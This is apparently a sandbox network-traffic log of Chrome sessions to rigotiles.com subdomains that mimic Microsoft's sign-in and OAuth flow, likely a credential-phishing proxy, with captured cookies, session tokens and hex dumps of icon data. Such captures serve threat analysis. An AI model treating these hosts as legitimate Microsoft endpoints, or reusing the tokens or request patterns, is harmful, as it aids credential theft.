2024-10-31 20:55:23 UTC	14782	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 76 6e 33 68 67 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 43 6f 6e 76 65 72 67 65 64 4c 6f 67 69 6e 5f 50 43 6f 72 65 5f 49 7a 44 74 2d 6c 30 43 75 69 65 30 67 59 52 55 6f 45 6b 31 35 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 32 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 67 22 3a 31 31 30 34 2c 22 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://vn3hg.rigotiles.com/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js'], reloading from fallback CDN endpoint","wec":"56","idx":2,"pn":"ConvergedSignIn","sc":1013,"hpg":1104,"
2024-10-31 20:55:23 UTC	1293	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:23 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Client-Request-Id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:23 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - WUS3 ProdSlices X-Ms-Request-Id: 2dcea9dc-f26e-411d-b907-da8ba18c4100 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bb18aa344e5-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20531&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2829&recv_bytes=18397&delivery_rate=138690&cwnd=32&unsent_bytes=0&cid=4814ccb9ebeb7141&ts=551&x=0"
2024-10-31 20:55:23 UTC	76	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 44 78 50 47 6d 7a 78 2d 69 4d 41 6a 48 41 78 6b 42 31 53 52 44 36 42 5f Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeDxPGmzx-iMAjHAxkB1SRD6B_
2024-10-31 20:55:23 UTC	196	IN	Data Raw: 72 6d 7a 42 5f 6d 64 55 46 33 45 4a 68 4b 7a 58 35 55 77 2d 4b 32 62 79 76 5a 67 4d 52 79 76 45 4b 51 49 4b 69 78 41 37 78 5a 47 6d 52 61 63 32 55 57 50 4e 62 33 55 6d 6a 41 58 58 57 6e 4a 68 6d 73 45 57 53 4d 45 75 34 6e 71 4f 51 30 61 48 4b 72 6d 4c 33 58 42 4c 39 39 46 31 73 77 5a 32 62 79 4c 38 6e 59 32 4d 5a 64 39 56 5a 64 41 2d 61 36 65 31 76 33 51 50 43 2d 6f 65 7a 4e 7a 69 65 69 43 37 73 56 67 33 4b 44 49 55 75 35 4a 68 38 48 6f 4f 6a 74 58 56 42 32 6b 37 4a 53 5a 48 36 6f 57 48 5a 35 4e 41 79 79 44 66 46 65 45 30 58 63 4d 66 78 6d 39 67 42 37 62 43 56 43 41 41 22 7d 0d 0a Data Ascii: rmzB_mdUF3EJhKzX5Uw-K2byvZgMRyvEKQIKixA7xZGmRac2UWPNb3UmjAXXWnJhmsEWSMEu4nqOQ0aHKrmL3XBL99F1swZ2byL8nY2MZd9VZdA-a6e1v3QPC-oezNzieiC7sVg3KDIUu5Jh8HoOjtXVB2k7JSZH6oWHZ5NAyyDfFeE0XcMfxm9gB7bCVCAA"}
2024-10-31 20:55:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	51044	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:23 UTC	2949	OUT	POST /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Content-Length: 14698 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeJcs6qoCWCwT9s1TITvtL6SixEB0NqhosuTCcHlZSxmgYzzUa4cxq6haVnlEMAwMqA_OgPVyIyHWZRt9U6YZg5BYp3geuxFw0xn5Di991Z3uQmaDXwwBfmUiOMgn7AhLYGFcOFp92va6CN1j9mlio8dvez9YmskLT_5pHB8wnCbFnY4AnUlF7-1XG-ZgfhjKy9nHR70XWnLpH1DulNw1XiCAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://mail.rigotiles.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:23 UTC	14698	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 76 6e 33 68 67 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 65 73 74 73 2f 32 2e 31 2f 63 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 75 78 2e 63 6f 6e 76 65 72 67 65 64 2e 6c 6f 67 69 6e 2e 73 74 72 69 6e 67 73 2d 65 6e 2e 6d 69 6e 5f 31 79 62 33 65 37 6f 69 69 35 74 32 38 64 67 6f 34 78 72 74 6f 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 33 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js'], reloading from fallback CDN endpoint","wec":"56","idx":3,"pn":"ConvergedSignIn","sc
2024-10-31 20:55:23 UTC	1294	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:23 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Client-Request-Id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:23 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - NCUS ProdSlices X-Ms-Request-Id: 167b2ceb-f677-4efd-ab31-72c3df862200 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bb36d2e2d3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2595&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2829&recv_bytes=18313&delivery_rate=1294012&cwnd=251&unsent_bytes=0&cid=7c35954050567a3c&ts=569&x=0"
2024-10-31 20:55:23 UTC	75	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 74 43 43 39 50 50 50 67 2d 66 6e 72 38 42 37 7a 6b 64 73 4a 63 4e 35 Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFetCC9PPPg-fnr8B7zkdsJcN5
2024-10-31 20:55:23 UTC	197	IN	Data Raw: 59 79 46 38 69 35 57 49 46 51 63 58 33 37 31 72 6d 38 49 4e 67 75 57 7a 37 6f 52 61 70 5f 51 52 6a 44 35 52 62 5a 31 32 7a 6d 63 63 64 4c 76 43 62 69 72 62 4e 7a 34 75 6e 45 6a 78 56 45 42 45 6e 6a 72 55 77 39 6f 56 34 59 30 70 2d 68 37 4b 5f 76 6a 69 49 75 5f 2d 61 57 37 51 34 4a 79 33 66 76 4c 4b 79 58 74 30 76 63 5a 52 59 72 30 36 57 71 37 59 4e 56 6f 32 4b 76 74 39 68 67 73 7a 63 75 69 65 43 54 47 59 71 33 4b 73 6f 4a 62 4e 77 6e 4a 4f 4b 47 77 66 6b 38 55 5a 74 68 53 75 6b 45 59 73 46 37 64 56 58 39 66 74 44 61 34 79 45 34 75 38 4e 4b 44 57 4b 5a 76 32 5a 4f 43 41 41 22 7d 0d 0a Data Ascii: YyF8i5WIFQcX371rm8INguWz7oRap_QRjD5RbZ12zmccdLvCbirbNz4unEjxVEBEnjrUw9oV4Y0p-h7K_vjiIu_-aW7Q4Jy3fvLKyXt0vcZRYr06Wq7YNVo2Kvt9hgszcuieCTGYq3KsoJbNwnJOKGwfk8UZthSukEYsF7dVX9ftDa4yE4u8NKDWKZv2ZOCAA"}
2024-10-31 20:55:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	51040	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:23 UTC	408	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:23 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19063239 Cache-Control: public, max-age=31536000 Content-MD5: up2irhKVlrgd4fr/sCzQ9w== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:23 GMT Etag: 0x8DA5944E2DB65A3 Last-Modified: Tue, 28 Jun 2022 20:29:22 GMT Server: ECAcc (lhc/7891) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e4cc39b6-101e-0042-5b76-7edf33000000 x-ms-version: 2009-09-19 Content-Length: 9285 Connection: close
2024-10-31 20:55:23 UTC	9285	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 28 78 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 63 6f 6e 63 61 74 28 22 2f 2f 22 2c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 65 29 7b 74 72 79 7b 76 61 72 20 72 3d 2f 66 75 6e 63 74 69 6f 6e 20 28 2e 7b 31 2c 7d 29 5c 28 2f 2c 6e 3d 72 2e 65 78 65 63 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 31 3f 6e 5b 31 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c Data Ascii: !function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	51046	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:23 UTC	529	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:24 UTC	1199	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8D8731230C851A6 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT X-Azure-Ref: 20241029T162003Z-17d9cd8886fthbtdm0wyfbbd8c00000005c0000000000yet X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: ce73d1d8-e01e-0019-66f6-263452000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189320 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Et9aos9fx28t2T2aCZqdjwwVxCsUgG11EZx0%2Bkw0OKiFRiOE7uI0ALvP8i0EkTwIoHTCoozwZhiyLxYECYTxVgEUlICxZ755bjrsQlANpyk7zbGKdQhEPTISN3JXTQheV5%2Bq3gFw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb6ffe7b789-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:24 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 34 31 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 30 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 39 37 30 30 36 38 26 63 77 6e 64 3d 33 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 33 33 35 66 65 31 35 35 37 39 37 34 35 66 62 26 74 73 3d 32 31 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1419&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1107&delivery_rate=1970068&cwnd=39&unsent_bytes=0&cid=9335fe15579745fb&ts=212&x=0"
2024-10-31 20:55:24 UTC	1349	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: 333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 33333333333333
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 Data Ascii: """""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 33333333333333333333333333333
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDD
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 Data Ascii: UUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUU
